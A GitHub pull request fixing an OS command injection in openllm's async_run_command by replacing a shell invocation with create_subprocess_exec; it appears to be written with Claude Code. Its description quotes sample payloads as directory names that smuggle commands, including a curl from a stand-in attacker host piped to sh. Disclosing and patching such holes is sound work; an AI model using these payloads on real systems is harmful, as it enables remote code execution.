fix(security): use exec instead of shell in async_run_command (CWE-78) - #1235
Open
Anai-Guo wants to merge 2 commits into
Open
fix(security): use exec instead of shell in async_run_command (CWE-78)#1235Anai-Guo wants to merge 2 commits into
Anai-Guo wants to merge 2 commits into
Conversation
async_run_command launched model servers via
asyncio.create_subprocess_shell(' '.join(cmd)), joining the argv list into
a single string handed to a shell. The bentoml tag embedded in that command
is derived from cloned-repository directory names
(bentoml_tag = f'{path.parent.name}:{path.name}'), which are never
sanitized. A model repository whose directory name contains shell
metacharacters (e.g. '1.0;curl attacker/x|sh;echo') therefore causes
arbitrary command execution when a user runs 'openllm run' against it
(OS command injection, CWE-78).
Switch to asyncio.create_subprocess_exec(*cmd), which passes the argv list
directly to the OS without a shell, so metacharacters remain literal
tokens. This matches the synchronous run_command, which already uses the
list-based subprocess.run(cmd) form. No behavior change for legitimate
commands, which are always plain argv lists.
Signed-off-by: Anai-Guo <antai12232931@outlook.com>
For more information, see https://pre-commit.ci
Author
|
Friendly ping — this security fix for CWE-78 shell injection has been open for 2 weeks. Is there anything else needed for review? |
1 similar comment
Author
|
Friendly ping — this security fix for CWE-78 shell injection has been open for 2 weeks. Is there anything else needed for review? |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Summary
Fixes #1229 — an OS command injection (CWE-78) in
async_run_command.async_run_command(insrc/openllm/common.py) launches model servers with:The argv list is joined into a single string and handed to a shell. One of the tokens is
bento.bentoml_tag, defined as:self.pathpoints at a model-version directory inside a cloned model repository, and neither the model-name nor version directory name is sanitized or quoted. A repository whose directory is named with shell metacharacters — e.g.1.0;curl${IFS}attacker.com/x.sh|sh;echo— is then split by the shell into multiple commands, soopenllm run/openllm serveagainst an attacker-controlled repo executes arbitrary commands on the victim's machine.Fix
Switch the async path from
create_subprocess_shell(' '.join(cmd))tocreate_subprocess_exec(*cmd).execpasses the argv list straight to the OS with no shell, so metacharacters in a directory name stay literal argument tokens instead of being interpreted.This mirrors the synchronous
run_commandin the same module, which is already safe because it uses the list formsubprocess.run(cmd, ...)(noshell=True). Legitimate commands are always plain argv lists (['bentoml', 'serve', tag, ...], later rewritten to[python, '-m', 'bentoml', ...]), so there is no behavior change — only the shell interpretation layer is removed.Verification
cmdis already normalized tolist[str]earlier in the function (cmd = [str(c) for c in cmd]), and thebentoml/pythonrewrites keep it a proper argv list, so*cmdunpacks cleanly intocreate_subprocess_exec.execis a drop-in replacement.evilmodel:1.0;whoami>pwned;echois passed as a single literal argv token tobentoml serve(which rejects it as an invalid tag) instead of being executed.🤖 Generated with Claude Code